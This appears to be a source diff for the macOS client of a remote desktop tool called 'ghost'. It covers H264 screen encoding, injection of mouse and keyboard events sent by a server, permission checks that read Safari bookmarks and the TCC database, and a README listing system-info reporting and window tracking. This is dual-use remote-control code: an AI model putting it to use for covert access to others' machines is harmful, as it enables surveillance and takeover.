m_outputBuffer.clear();
|
||||
|
||||
// Get format description for SPS/PPS
|
||||
CMFormatDescriptionRef formatDesc = CMSampleBufferGetFormatDescription(sampleBuffer);
|
||||
|
||||
// If keyframe, prepend SPS and PPS
|
||||
if (isKeyframe && formatDesc) {
|
||||
// Get SPS
|
||||
size_t spsSize = 0;
|
||||
size_t spsCount = 0;
|
||||
const uint8_t* sps = nullptr;
|
||||
OSStatus status = CMVideoFormatDescriptionGetH264ParameterSetAtIndex(
|
||||
formatDesc, 0, &sps, &spsSize, &spsCount, nullptr);
|
||||
|
||||
if (status == noErr && sps && spsSize > 0) {
|
||||
// Write NAL start code + SPS
|
||||
uint8_t startCode[] = {0x00, 0x00, 0x00, 0x01};
|
||||
m_outputBuffer.insert(m_outputBuffer.end(), startCode, startCode + 4);
|
||||
m_outputBuffer.insert(m_outputBuffer.end(), sps, sps + spsSize);
|
||||
}
|
||||
|
||||
// Get PPS
|
||||
size_t ppsSize = 0;
|
||||
size_t ppsCount = 0;
|
||||
const uint8_t* pps = nullptr;
|
||||
status = CMVideoFormatDescriptionGetH264ParameterSetAtIndex(
|
||||
formatDesc, 1, &pps, &ppsSize, &ppsCount, nullptr);
|
||||
|
||||
if (status == noErr && pps && ppsSize > 0) {
|
||||
// Write NAL start code + PPS
|
||||
uint8_t startCode[] = {0x00, 0x00, 0x00, 0x01};
|
||||
m_outputBuffer.insert(m_outputBuffer.end(), startCode, startCode + 4);
|
||||
m_outputBuffer.insert(m_outputBuffer.end(), pps, pps + ppsSize);
|
||||
}
|
||||
}
|
||||
|
||||
// Get encoded data
|
||||
CMBlockBufferRef blockBuffer = CMSampleBufferGetDataBuffer(sampleBuffer);
|
||||
if (!blockBuffer) {
|
||||
return;
|
||||
}
|
||||
|
||||
size_t totalLength = 0;
|
||||
size_t lengthAtOffset = 0;
|
||||
char* dataPointer = nullptr;
|
||||
|
||||
OSStatus status = CMBlockBufferGetDataPointer(
|
||||
blockBuffer, 0, &lengthAtOffset, &totalLength, &dataPointer);
|
||||
|
||||
if (status != noErr || !dataPointer) {
|
||||
return;
|
||||
}
|
||||
|
||||
// Get NAL unit length size from format description (usually 4 bytes)
|
||||
int nalLengthSize = 4;
|
||||
if (formatDesc) {
|
||||
int tmpNalLengthSize = 0;
|
||||
status = CMVideoFormatDescriptionGetH264ParameterSetAtIndex(
|
||||
formatDesc, 0, nullptr, nullptr, nullptr, &tmpNalLengthSize);
|
||||
if (status == noErr && tmpNalLengthSize > 0 && tmpNalLengthSize <= 4) {
|
||||
nalLengthSize = tmpNalLengthSize;
|
||||
}
|
||||
}
|
||||
|
||||
// Convert AVCC format (length-prefixed) to Annex B (start code prefixed)
|
||||
size_t offset = 0;
|
||||
while (offset < totalLength) {
|
||||
// Read NAL unit length (big-endian, variable size)
|
||||
uint32_t nalLength = 0;
|
||||
const uint8_t* lengthPtr = (const uint8_t*)dataPointer + offset;
|
||||
for (int i = 0; i < nalLengthSize; i++) {
|
||||
nalLength = (nalLength << 8) | lengthPtr[i];
|
||||
}
|
||||
offset += nalLengthSize;
|
||||
|
||||
if (nalLength > 0 && offset + nalLength <= totalLength) {
|
||||
// Write NAL start code
|
||||
uint8_t startCode[] = {0x00, 0x00, 0x00, 0x01};
|
||||
m_outputBuffer.insert(m_outputBuffer.end(), startCode, startCode + 4);
|
||||
|
||||
// Write NAL data
|
||||
m_outputBuffer.insert(m_outputBuffer.end(),
|
||||
(uint8_t*)dataPointer + offset,
|
||||
(uint8_t*)dataPointer + offset + nalLength);
|
||||
}
|
||||
|
||||
offset += nalLength;
|
||||
}
|
||||
}
|
||||
80
macos/InputHandler.h
Normal file
80
macos/InputHandler.h
Normal file
@@ -0,0 +1,80 @@
|
||||
#pragma once
|
||||
|
||||
#import <CoreGraphics/CoreGraphics.h>
|
||||
#include <cstdint>
|
||||
#include <atomic>
|
||||
|
||||
// Windows message constants (for parsing server commands)
|
||||
#define WM_MOUSEMOVE 0x0200
|
||||
#define WM_LBUTTONDOWN 0x0201
|
||||
#define WM_LBUTTONUP 0x0202
|
||||
#define WM_LBUTTONDBLCLK 0x0203
|
||||
#define WM_RBUTTONDOWN 0x0204
|
||||
#define WM_RBUTTONUP 0x0205
|
||||
#define WM_RBUTTONDBLCLK 0x0206
|
||||
#define WM_MBUTTONDOWN 0x0207
|
||||
#define WM_MBUTTONUP 0x0208
|
||||
#define WM_MBUTTONDBLCLK 0x0209
|
||||
#define WM_MOUSEWHEEL 0x020A
|
||||
|
||||
#define WM_KEYDOWN 0x0100
|
||||
#define WM_KEYUP 0x0101
|
||||
#define WM_SYSKEYDOWN 0x0104
|
||||
#define WM_SYSKEYUP 0x0105
|
||||
|
||||
// Windows wheel delta extraction
|
||||
#define GET_WHEEL_DELTA_WPARAM(wParam) ((short)((wParam) >> 16))
|
||||
|
||||
// MSG64 structure (compatible with Windows/Linux)
|
||||
#pragma pack(push, 1)
|
||||
struct MSG64_MAC {
|
||||
uint64_t hwnd;
|
||||
uint64_t message;
|
||||
uint64_t wParam;
|
||||
uint64_t lParam;
|
||||
uint64_t time;
|
||||
int32_t pt_x;
|
||||
int32_t pt_y;
|
||||
};
|
||||
#pragma pack(pop)
|
||||
|
||||
class InputHandler {
|
||||
public:
|
||||
InputHandler();
|
||||
~InputHandler();
|
||||
|
||||
// Initialize (checks accessibility permission)
|
||||
bool init();
|
||||
|
||||
// Handle input event from server
|
||||
void handleInputEvent(const MSG64_MAC* msg);
|
||||
|
||||
// Check if accessibility permission is available
|
||||
bool hasAccessibilityPermission() const { return m_hasPermission; }
|
||||
|
||||
private:
|
||||
// Mouse event helpers
|
||||
void handleMouseMove(int x, int y);
|
||||
void handleMouseButton(CGMouseButton button, bool down, int x, int y);
|
||||
void handleMouseDoubleClick(CGMouseButton button, int x, int y);
|
||||
void handleMouseWheel(int delta);
|
||||
|
||||
// Keyboard event helpers
|
||||
void handleKeyEvent(uint32_t vkCode, bool down);
|
||||
|
||||
// Convert Windows VK code to macOS key code
|
||||
static CGKeyCode vkToMacKeyCode(uint32_t vk);
|
||||
|
||||
private:
|
||||
std::atomic<bool> m_hasPermission{false};
|
||||
std::atomic<bool> m_warningLogged{false};
|
||||
|
||||
// Track button states for CGEvent (atomic for thread safety)
|
||||
CGPoint m_lastMousePos;
|
||||
std::atomic<bool> m_leftButtonDown{false};
|
||||
std::atomic<bool> m_rightButtonDown{false};
|
||||
std::atomic<bool> m_middleButtonDown{false};
|
||||
|
||||
// Track modifier key states for proper key event handling
|
||||
std::atomic<CGEventFlags> m_modifierFlags{0};
|
||||
};
|
||||
396
macos/InputHandler.mm
Normal file
396
macos/InputHandler.mm
Normal file
@@ -0,0 +1,396 @@
|
||||
#import "InputHandler.h"
|
||||
#import "Permissions.h"
|
||||
#import <Cocoa/Cocoa.h>
|
||||
#import <Carbon/Carbon.h>
|
||||
#include <unistd.h> // for usleep
|
||||
|
||||
InputHandler::InputHandler()
|
||||
: m_lastMousePos(CGPointZero)
|
||||
{
|
||||
// atomic members are initialized in class declaration
|
||||
}
|
||||
|
||||
InputHandler::~InputHandler()
|
||||
{
|
||||
}
|
||||
|
||||
bool InputHandler::init()
|
||||
{
|
||||
m_hasPermission = Permissions::checkAccessibility();
|
||||
if (!m_hasPermission) {
|
||||
NSLog(@"InputHandler: Accessibility permission not granted");
|
||||
// Request permission (shows system dialog)
|
||||
Permissions::requestAccessibility();
|
||||
}
|
||||
return m_hasPermission;
|
||||
}
|
||||
|
||||
void InputHandler::handleInputEvent(const MSG64_MAC* msg)
|
||||
{
|
||||
if (!m_hasPermission) {
|
||||
// Re-check permission
|
||||
m_hasPermission = Permissions::checkAccessibility();
|
||||
if (!m_hasPermission) {
|
||||
if (!m_warningLogged) {
|
||||
NSLog(@"InputHandler: Cannot handle input - no accessibility permission");
|
||||
m_warningLogged = true;
|
||||
}
|
||||
return;
|
||||
}
|
||||
m_warningLogged = false;
|
||||
}
|
||||
|
||||
uint32_t message = (uint32_t)msg->message;
|
||||
// Extract coordinates from lParam (MAKELPARAM format: low=x, high=y)
|
||||
int x = (int)(msg->lParam & 0xFFFF);
|
||||
int y = (int)((msg->lParam >> 16) & 0xFFFF);
|
||||
|
||||
switch (message) {
|
||||
// Mouse movement
|
||||
case WM_MOUSEMOVE:
|
||||
handleMouseMove(x, y);
|
||||
break;
|
||||
|
||||
// Left button
|
||||
case WM_LBUTTONDOWN:
|
||||
handleMouseButton(kCGMouseButtonLeft, true, x, y);
|
||||
break;
|
||||
case WM_LBUTTONUP:
|
||||
handleMouseButton(kCGMouseButtonLeft, false, x, y);
|
||||
break;
|
||||
case WM_LBUTTONDBLCLK:
|
||||
handleMouseDoubleClick(kCGMouseButtonLeft, x, y);
|
||||
break;
|
||||
|
||||
// Right button
|
||||
case WM_RBUTTONDOWN:
|
||||
handleMouseButton(kCGMouseButtonRight, true, x, y);
|
||||
break;
|
||||
case WM_RBUTTONUP:
|
||||
handleMouseButton(kCGMouseButtonRight, false, x, y);
|
||||
break;
|
||||
case WM_RBUTTONDBLCLK:
|
||||
handleMouseDoubleClick(kCGMouseButtonRight, x, y);
|
||||
break;
|
||||
|
||||
// Middle button
|
||||
case WM_MBUTTONDOWN:
|
||||
handleMouseButton(kCGMouseButtonCenter, true, x, y);
|
||||
break;
|
||||
case WM_MBUTTONUP:
|
||||
handleMouseButton(kCGMouseButtonCenter, false, x, y);
|
||||
break;
|
||||
case WM_MBUTTONDBLCLK:
|
||||
handleMouseDoubleClick(kCGMouseButtonCenter, x, y);
|
||||
break;
|
||||
|
||||
// Mouse wheel
|
||||
case WM_MOUSEWHEEL: {
|
||||
short delta = GET_WHEEL_DELTA_WPARAM(msg->wParam);
|
||||
handleMouseWheel(delta);
|
||||
break;
|
||||
}
|
||||
|
||||
// Keyboard
|
||||
case WM_KEYDOWN:
|
||||
case WM_SYSKEYDOWN:
|
||||
handleKeyEvent((uint32_t)msg->wParam, true);
|
||||
break;
|
||||
|
||||
case WM_KEYUP:
|
||||
case WM_SYSKEYUP:
|
||||
handleKeyEvent((uint32_t)msg->wParam, false);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
void InputHandler::handleMouseMove(int x, int y)
|
||||
{
|
||||
CGPoint point = CGPointMake(x, y);
|
||||
m_lastMousePos = point;
|
||||
|
||||
CGEventType eventType = kCGEventMouseMoved;
|
||||
CGMouseButton button = kCGMouseButtonLeft;
|
||||
|
||||
// If button is held, use drag event
|
||||
if (m_leftButtonDown) {
|
||||
eventType = kCGEventLeftMouseDragged;
|
||||
button = kCGMouseButtonLeft;
|
||||
} else if (m_rightButtonDown) {
|
||||
eventType = kCGEventRightMouseDragged;
|
||||
button = kCGMouseButtonRight;
|
||||
} else if (m_middleButtonDown) {
|
||||
eventType = kCGEventOtherMouseDragged;
|
||||
button = kCGMouseButtonCenter;
|
||||
}
|
||||
|
||||
CGEventRef event = CGEventCreateMouseEvent(NULL, eventType, point, button);
|
||||
if (event) {
|
||||
CGEventPost(kCGHIDEventTap, event);
|
||||
CFRelease(event);
|
||||
}
|
||||
}
|
||||
|
||||
void InputHandler::handleMouseButton(CGMouseButton button, bool down, int x, int y)
|
||||
{
|
||||
CGPoint point = CGPointMake(x, y);
|
||||
m_lastMousePos = point;
|
||||
|
||||
CGEventType eventType;
|
||||
|
||||
switch (button) {
|
||||
case kCGMouseButtonLeft:
|
||||
eventType = down ? kCGEventLeftMouseDown : kCGEventLeftMouseUp;
|
||||
m_leftButtonDown = down;
|
||||
break;
|
||||
case kCGMouseButtonRight:
|
||||
eventType = down ? kCGEventRightMouseDown : kCGEventRightMouseUp;
|
||||
m_rightButtonDown = down;
|
||||
break;
|
||||
case kCGMouseButtonCenter:
|
||||
default:
|
||||
eventType = down ? kCGEventOtherMouseDown : kCGEventOtherMouseUp;
|
||||
m_middleButtonDown = down;
|
||||
break;
|
||||
}
|
||||
|
||||
CGEventRef event = CGEventCreateMouseEvent(NULL, eventType, point, button);
|
||||
if (event) {
|
||||
// clickState=1 for all single clicks
|
||||
CGEventSetIntegerValueField(event, kCGMouseEventClickState, 1);
|
||||
CGEventPost(kCGHIDEventTap, event);
|
||||
CFRelease(event);
|
||||
}
|
||||
}
|
||||
|
||||
void InputHandler::handleMouseDoubleClick(CGMouseButton button, int x, int y)
|
||||
{
|
||||
// WM_LBUTTONDBLCLK represents the second click of a double-click.
|
||||
// The first click was already sent via WM_LBUTTONDOWN/WM_LBUTTONUP.
|
||||
//
|
||||
// We send complete down(2) + up(2) here because:
|
||||
// - Web client: dblclick fires AFTER mouseup, no subsequent WM_LBUTTONUP
|
||||
// - MFC client: WM_LBUTTONUP follows, but extra up(1) is harmless
|
||||
|
||||
CGPoint point = CGPointMake(x, y);
|
||||
m_lastMousePos = point;
|
||||
|
||||
CGEventType downType, upType;
|
||||
|
||||
switch (button) {
|
||||
case kCGMouseButtonLeft:
|
||||
downType = kCGEventLeftMouseDown;
|
||||
upType = kCGEventLeftMouseUp;
|
||||
break;
|
||||
case kCGMouseButtonRight:
|
||||
downType = kCGEventRightMouseDown;
|
||||
upType = kCGEventRightMouseUp;
|
||||
break;
|
||||
case kCGMouseButtonCenter:
|
||||
default:
|
||||
downType = kCGEventOtherMouseDown;
|
||||
upType = kCGEventOtherMouseUp;
|
||||
break;
|
||||
}
|
||||
|
||||
// Send second click: down(2) + up(2)
|
||||
CGEventRef down = CGEventCreateMouseEvent(NULL, downType, point, button);
|
||||
CGEventRef up = CGEventCreateMouseEvent(NULL, upType, point, button);
|
||||
|
||||
if (down) {
|
||||
CGEventSetIntegerValueField(down, kCGMouseEventClickState, 2);
|
||||
CGEventPost(kCGHIDEventTap, down);
|
||||
CFRelease(down);
|
||||
}
|
||||
|
||||
if (up) {
|
||||
CGEventSetIntegerValueField(up, kCGMouseEventClickState, 2);
|
||||
CGEventPost(kCGHIDEventTap, up);
|
||||
CFRelease(up);
|
||||
}
|
||||
|
||||
// Note: For MFC client, an extra WM_LBUTTONUP will follow (sending up(1)),
|
||||
// but this is harmless since mouse is already up.
|
||||
}
|
||||
|
||||
void InputHandler::handleMouseWheel(int delta)
|
||||
{
|
||||
// Convert Windows wheel delta (120 = one notch) to macOS pixel units
|
||||
// Using pixel units provides smoother scrolling than line units
|
||||
// Windows: 120 = one standard notch
|
||||
// macOS: approximately 10 pixels per notch feels natural
|
||||
int32_t scrollAmount = (delta * 10) / 120;
|
||||
|
||||
// Use pixel units for smoother scrolling experience
|
||||
CGEventRef event = CGEventCreateScrollWheelEvent(
|
||||
NULL,
|
||||
kCGScrollEventUnitPixel,
|
||||
1,
|
||||
scrollAmount
|
||||
);
|
||||
if (event) {
|
||||
CGEventPost(kCGHIDEventTap, event);
|
||||
CFRelease(event);
|
||||
}
|
||||
}
|
||||
|
||||
void InputHandler::handleKeyEvent(uint32_t vkCode, bool down)
|
||||
{
|
||||
CGKeyCode keyCode = vkToMacKeyCode(vkCode);
|
||||
if (keyCode == 0xFF) {
|
||||
return; // Unknown key
|
||||
}
|
||||
|
||||
// Update modifier flags based on key
|
||||
CGEventFlags flag = 0;
|
||||
switch (keyCode) {
|
||||
case kVK_Shift:
|
||||
case kVK_RightShift:
|
||||
flag = kCGEventFlagMaskShift;
|
||||
break;
|
||||
case kVK_Control:
|
||||
case kVK_RightControl:
|
||||
flag = kCGEventFlagMaskControl;
|
||||
break;
|
||||
case kVK_Option:
|
||||
case kVK_RightOption:
|
||||
flag = kCGEventFlagMaskAlternate;
|
||||
break;
|
||||
case kVK_Command:
|
||||
case kVK_RightCommand:
|
||||
flag = kCGEventFlagMaskCommand;
|
||||
break;
|
||||
case kVK_CapsLock:
|
||||
flag = kCGEventFlagMaskAlphaShift;
|
||||
break;
|
||||
}
|
||||
|
||||
if (flag) {
|
||||
CGEventFlags current = m_modifierFlags.load();
|
||||
if (down) {
|
||||
m_modifierFlags.store(current | flag);
|
||||
} else {
|
||||
m_modifierFlags.store(current & ~flag);
|
||||
}
|
||||
}
|
||||
|
||||
CGEventRef event = CGEventCreateKeyboardEvent(NULL, keyCode, down);
|
||||
if (event) {
|
||||
// Set current modifier flags to ensure proper key combinations
|
||||
CGEventSetFlags(event, m_modifierFlags.load());
|
||||
CGEventPost(kCGHIDEventTap, event);
|
||||
CFRelease(event);
|
||||
}
|
||||
}
|
||||
|
||||
// Convert Windows VK code to macOS key code
|
||||
// Reference: Carbon/HIToolbox/Events.h
|
||||
CGKeyCode InputHandler::vkToMacKeyCode(uint32_t vk)
|
||||
{
|
||||
// Letters A-Z (VK 0x41-0x5A)
|
||||
if (vk >= 0x41 && vk <= 0x5A) {
|
||||
// macOS key codes for A-Z are not sequential
|
||||
static const CGKeyCode letterKeys[] = {
|
||||
kVK_ANSI_A, kVK_ANSI_B, kVK_ANSI_C, kVK_ANSI_D, kVK_ANSI_E,
|
||||
kVK_ANSI_F, kVK_ANSI_G, kVK_ANSI_H, kVK_ANSI_I, kVK_ANSI_J,
|
||||
kVK_ANSI_K, kVK_ANSI_L, kVK_ANSI_M, kVK_ANSI_N, kVK_ANSI_O,
|
||||
kVK_ANSI_P, kVK_ANSI_Q, kVK_ANSI_R, kVK_ANSI_S, kVK_ANSI_T,
|
||||
kVK_ANSI_U, kVK_ANSI_V, kVK_ANSI_W, kVK_ANSI_X, kVK_ANSI_Y,
|
||||
kVK_ANSI_Z
|
||||
};
|
||||
return letterKeys[vk - 0x41];
|
||||
}
|
||||
|
||||
// Numbers 0-9 (VK 0x30-0x39)
|
||||
if (vk >= 0x30 && vk <= 0x39) {
|
||||
static const CGKeyCode numberKeys[] = {
|
||||
kVK_ANSI_0, kVK_ANSI_1, kVK_ANSI_2, kVK_ANSI_3, kVK_ANSI_4,
|
||||
kVK_ANSI_5, kVK_ANSI_6, kVK_ANSI_7, kVK_ANSI_8, kVK_ANSI_9
|
||||
};
|
||||
return numberKeys[vk - 0x30];
|
||||
}
|
||||
|
||||
// Numpad 0-9 (VK 0x60-0x69)
|
||||
if (vk >= 0x60 && vk <= 0x69) {
|
||||
static const CGKeyCode numpadKeys[] = {
|
||||
kVK_ANSI_Keypad0, kVK_ANSI_Keypad1, kVK_ANSI_Keypad2,
|
||||
kVK_ANSI_Keypad3, kVK_ANSI_Keypad4, kVK_ANSI_Keypad5,
|
||||
kVK_ANSI_Keypad6, kVK_ANSI_Keypad7, kVK_ANSI_Keypad8,
|
||||
kVK_ANSI_Keypad9
|
||||
};
|
||||
return numpadKeys[vk - 0x60];
|
||||
}
|
||||
|
||||
// F1-F12 (VK 0x70-0x7B)
|
||||
if (vk >= 0x70 && vk <= 0x7B) {
|
||||
static const CGKeyCode fKeys[] = {
|
||||
kVK_F1, kVK_F2, kVK_F3, kVK_F4, kVK_F5, kVK_F6,
|
||||
kVK_F7, kVK_F8, kVK_F9, kVK_F10, kVK_F11, kVK_F12
|
||||
};
|
||||
return fKeys[vk - 0x70];
|
||||
}
|
||||
|
||||
// Special keys
|
||||
switch (vk) {
|
||||
case 0x08: return kVK_Delete; // VK_BACK (Backspace)
|
||||
case 0x09: return kVK_Tab; // VK_TAB
|
||||
case 0x0D: return kVK_Return; // VK_RETURN
|
||||
case 0x10: return kVK_Shift; // VK_SHIFT
|
||||
case 0x11: return kVK_Control; // VK_CONTROL
|
||||
case 0x12: return kVK_Option; // VK_MENU (Alt -> Option)
|
||||
case 0x13: return kVK_F15; // VK_PAUSE (no direct equivalent)
|
||||
case 0x14: return kVK_CapsLock; // VK_CAPITAL
|
||||
case 0x1B: return kVK_Escape; // VK_ESCAPE
|
||||
case 0x20: return kVK_Space; // VK_SPACE
|
||||
case 0x21: return kVK_PageUp; // VK_PRIOR
|
||||
case 0x22: return kVK_PageDown; // VK_NEXT
|
||||
case 0x23: return kVK_End; // VK_END
|
||||
case 0x24: return kVK_Home; // VK_HOME
|
||||
case 0x25: return kVK_LeftArrow; // VK_LEFT
|
||||
case 0x26: return kVK_UpArrow; // VK_UP
|
||||
case 0x27: return kVK_RightArrow; // VK_RIGHT
|
||||
case 0x28: return kVK_DownArrow; // VK_DOWN
|
||||
case 0x2C: return kVK_F13; // VK_SNAPSHOT (PrintScreen)
|
||||
case 0x2D: return kVK_Help; // VK_INSERT (Help on Mac)
|
||||
case 0x2E: return kVK_ForwardDelete; // VK_DELETE
|
||||
|
||||
// Windows keys -> Command
|
||||
case 0x5B: return kVK_Command; // VK_LWIN
|
||||
case 0x5C: return kVK_RightCommand; // VK_RWIN
|
||||
|
||||
// Numpad operators
|
||||
case 0x6A: return kVK_ANSI_KeypadMultiply; // VK_MULTIPLY
|
||||
case 0x6B: return kVK_ANSI_KeypadPlus; // VK_ADD
|
||||
case 0x6D: return kVK_ANSI_KeypadMinus; // VK_SUBTRACT
|
||||
case 0x6E: return kVK_ANSI_KeypadDecimal; // VK_DECIMAL
|
||||
case 0x6F: return kVK_ANSI_KeypadDivide; // VK_DIVIDE
|
||||
|
||||
// Lock keys
|
||||
case 0x90: return kVK_ANSI_KeypadClear; // VK_NUMLOCK (Clear on Mac)
|
||||
case 0x91: return kVK_F14; // VK_SCROLL
|
||||
|
||||
// Shift variants
|
||||
case 0xA0: return kVK_Shift; // VK_LSHIFT
|
||||
case 0xA1: return kVK_RightShift; // VK_RSHIFT
|
||||
case 0xA2: return kVK_Control; // VK_LCONTROL
|
||||
case 0xA3: return kVK_RightControl; // VK_RCONTROL
|
||||
case 0xA4: return kVK_Option; // VK_LMENU
|
||||
case 0xA5: return kVK_RightOption; // VK_RMENU
|
||||
|
||||
// OEM keys (US keyboard layout)
|
||||
case 0xBA: return kVK_ANSI_Semicolon; // VK_OEM_1 (;:)
|
||||
case 0xBB: return kVK_ANSI_Equal; // VK_OEM_PLUS (=+)
|
||||
case 0xBC: return kVK_ANSI_Comma; // VK_OEM_COMMA (,<)
|
||||
case 0xBD: return kVK_ANSI_Minus; // VK_OEM_MINUS (-_)
|
||||
case 0xBE: return kVK_ANSI_Period; // VK_OEM_PERIOD (.>)
|
||||
case 0xBF: return kVK_ANSI_Slash; // VK_OEM_2 (/?)
|
||||
case 0xC0: return kVK_ANSI_Grave; // VK_OEM_3 (`~)
|
||||
case 0xDB: return kVK_ANSI_LeftBracket; // VK_OEM_4 ([{)
|
||||
case 0xDC: return kVK_ANSI_Backslash; // VK_OEM_5 (\|)
|
||||
case 0xDD: return kVK_ANSI_RightBracket; // VK_OEM_6 (]})
|
||||
case 0xDE: return kVK_ANSI_Quote; // VK_OEM_7 ('")
|
||||
|
||||
default:
|
||||
return 0xFF; // Unknown key
|
||||
}
|
||||
}
|
||||
43
macos/Permissions.h
Normal file
43
macos/Permissions.h
Normal file
@@ -0,0 +1,43 @@
|
||||
#pragma once
|
||||
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <CoreGraphics/CoreGraphics.h>
|
||||
#import <ApplicationServices/ApplicationServices.h>
|
||||
|
||||
class Permissions {
|
||||
public:
|
||||
// Check if screen recording permission is granted
|
||||
// Returns true if granted, false otherwise
|
||||
static bool checkScreenCapture();
|
||||
|
||||
// Request screen recording permission (shows system dialog, macOS 10.15+)
|
||||
static void requestScreenCapture();
|
||||
|
||||
// Check if accessibility permission is granted (for input simulation)
|
||||
// Returns true if granted, false otherwise
|
||||
static bool checkAccessibility();
|
||||
|
||||
// Request accessibility permission (shows system dialog)
|
||||
static void requestAccessibility();
|
||||
|
||||
// Open System Preferences to Screen Recording settings
|
||||
static void openScreenCaptureSettings();
|
||||
|
||||
// Open System Preferences to Accessibility settings
|
||||
static void openAccessibilitySettings();
|
||||
|
||||
// Check if Full Disk Access permission is granted
|
||||
// Returns true if granted, false otherwise
|
||||
static bool checkFullDiskAccess();
|
||||
|
||||
// Open System Preferences to Full Disk Access settings
|
||||
static void openFullDiskAccessSettings();
|
||||
|
||||
// Check all required permissions
|
||||
// Returns true if all permissions are granted
|
||||
static bool checkAllPermissions();
|
||||
|
||||
// Wait for permissions to be granted (blocking)
|
||||
// Returns true if all granted within timeout, false otherwise
|
||||
static bool waitForPermissions(int timeoutSeconds);
|
||||
};
|
||||
107
macos/Permissions.mm
Normal file
107
macos/Permissions.mm
Normal file
@@ -0,0 +1,107 @@
|
||||
#import "Permissions.h"
|
||||
#import <Cocoa/Cocoa.h>
|
||||
#import <CoreGraphics/CoreGraphics.h>
|
||||
#import <ApplicationServices/ApplicationServices.h>
|
||||
|
||||
bool Permissions::checkScreenCapture() {
|
||||
// macOS 10.15+ requires screen recording permission
|
||||
if (@available(macOS 10.15, *)) {
|
||||
// Use CGPreflightScreenCaptureAccess for reliable permission check
|
||||
// This API is available since macOS 10.15
|
||||
return CGPreflightScreenCaptureAccess();
|
||||
}
|
||||
|
||||
// Before 10.15, no permission needed
|
||||
return true;
|
||||
}
|
||||
|
||||
void Permissions::requestScreenCapture() {
|
||||
if (@available(macOS 10.15, *)) {
|
||||
// Trigger system permission dialog
|
||||
CGRequestScreenCaptureAccess();
|
||||
}
|
||||
}
|
||||
|
||||
bool Permissions::checkAccessibility() {
|
||||
return AXIsProcessTrusted();
|
||||
}
|
||||
|
||||
void Permissions::requestAccessibility() {
|
||||
NSDictionary *options = @{
|
||||
(__bridge id)kAXTrustedCheckOptionPrompt: @YES
|
||||
};
|
||||
AXIsProcessTrustedWithOptions((__bridge CFDictionaryRef)options);
|
||||
}
|
||||
|
||||
void Permissions::openScreenCaptureSettings() {
|
||||
if (@available(macOS 10.15, *)) {
|
||||
// Open System Preferences -> Security & Privacy -> Privacy -> Screen Recording
|
||||
NSURL *url = [NSURL URLWithString:@"x-apple.systempreferences:com.apple.preference.security?Privacy_ScreenCapture"];
|
||||
[[NSWorkspace sharedWorkspace] openURL:url];
|
||||
}
|
||||
}
|
||||
|
||||
void Permissions::openAccessibilitySettings() {
|
||||
// Open System Preferences -> Security & Privacy -> Privacy -> Accessibility
|
||||
NSURL *url = [NSURL URLWithString:@"x-apple.systempreferences:com.apple.preference.security?Privacy_Accessibility"];
|
||||
[[NSWorkspace sharedWorkspace] openURL:url];
|
||||
}
|
||||
|
||||
bool Permissions::checkFullDiskAccess() {
|
||||
// There's no official API to check Full Disk Access.
|
||||
// Try to actually read a protected file that requires FDA.
|
||||
|
||||
NSString* testPath = [NSHomeDirectory() stringByAppendingPathComponent:@"Library/Safari/Bookmarks.plist"];
|
||||
|
||||
NSFileManager* fm = [NSFileManager defaultManager];
|
||||
if ([fm fileExistsAtPath:testPath]) {
|
||||
// Try to actually read the file (more reliable than isReadableFileAtPath)
|
||||
NSData* data = [NSData dataWithContentsOfFile:testPath];
|
||||
if (data != nil) {
|
||||
NSLog(@"FDA check: OK (can read Safari bookmarks)");
|
||||
return true;
|
||||
} else {
|
||||
NSLog(@"FDA check: FAILED (Safari bookmarks exists but unreadable)");
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
// Safari bookmarks doesn't exist, try TCC database
|
||||
testPath = @"/Library/Application Support/com.apple.TCC/TCC.db";
|
||||
if ([fm fileExistsAtPath:testPath]) {
|
||||
NSData* data = [NSData dataWithContentsOfFile:testPath];
|
||||
if (data != nil) {
|
||||
NSLog(@"FDA check: OK (can read TCC.db)");
|
||||
return true;
|
||||
} else {
|
||||
NSLog(@"FDA check: FAILED (TCC.db exists but unreadable)");
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
// No test files exist, assume OK
|
||||
NSLog(@"FDA check: SKIPPED (no test files found)");
|
||||
return true;
|
||||
}
|
||||
|
||||
void Permissions::openFullDiskAccessSettings() {
|
||||
// Open System Preferences -> Security & Privacy -> Privacy -> Full Disk Access
|
||||
NSURL *url = [NSURL URLWithString:@"x-apple.systempreferences:com.apple.preference.security?Privacy_AllFiles"];
|
||||
[[NSWorkspace sharedWorkspace] openURL:url];
|
||||
}
|
||||
|
||||
bool Permissions::checkAllPermissions() {
|
||||
return checkScreenCapture() && checkAccessibility() && checkFullDiskAccess();
|
||||
}
|
||||
|
||||
bool Permissions::waitForPermissions(int timeoutSeconds) {
|
||||
int elapsed = 0;
|
||||
while (elapsed < timeoutSeconds) {
|
||||
if (checkAllPermissions()) {
|
||||
return true;
|
||||
}
|
||||
[NSThread sleepForTimeInterval:1.0];
|
||||
elapsed++;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
61
macos/README.txt
Normal file
61
macos/README.txt
Normal file
@@ -0,0 +1,61 @@
|
||||
macOS Remote Desktop Client
|
||||
===========================
|
||||
|
||||
Prerequisites:
|
||||
1. Xcode Command Line Tools: xcode-select --install
|
||||
2. CMake: brew install cmake
|
||||
|
||||
Build:
|
||||
chmod +x build.sh
|
||||
./build.sh
|
||||
|
||||
Or manually:
|
||||
mkdir build && cd build
|
||||
cmake ..
|
||||
make
|
||||
|
||||
Run:
|
||||
./build/bin/ghost
|
||||
|
||||
Configuration:
|
||||
Server address is configured in main.mm (g_SETTINGS variable).
|
||||
Modify before building if needed.
|
||||
|
||||
Permissions Required:
|
||||
1. Screen Recording - System Settings > Privacy & Security > Screen Recording
|
||||
2. Accessibility - System Settings > Privacy & Security > Accessibility
|
||||
|
||||
Features:
|
||||
[x] Screen capture (CGDisplayCreateImage)
|
||||
[x] H264 video encoding (VideoToolbox)
|
||||
[x] Mouse control (move, click, drag, scroll)
|
||||
[x] Keyboard control (full VK code mapping)
|
||||
[x] Retina display support (coordinate scaling)
|
||||
[x] Network connection (IOCPClient)
|
||||
[x] LOGIN_INFOR (system info reporting)
|
||||
[x] Heartbeat with RTT estimation
|
||||
[x] Active window tracking
|
||||
[x] Quality level adjustment (FPS/algorithm)
|
||||
|
||||
Files:
|
||||
CMakeLists.txt - Build configuration
|
||||
Permissions.h/mm - macOS permission handling
|
||||
ScreenHandler.h/mm - Screen capture and H264 encoding
|
||||
InputHandler.h/mm - Mouse/keyboard simulation
|
||||
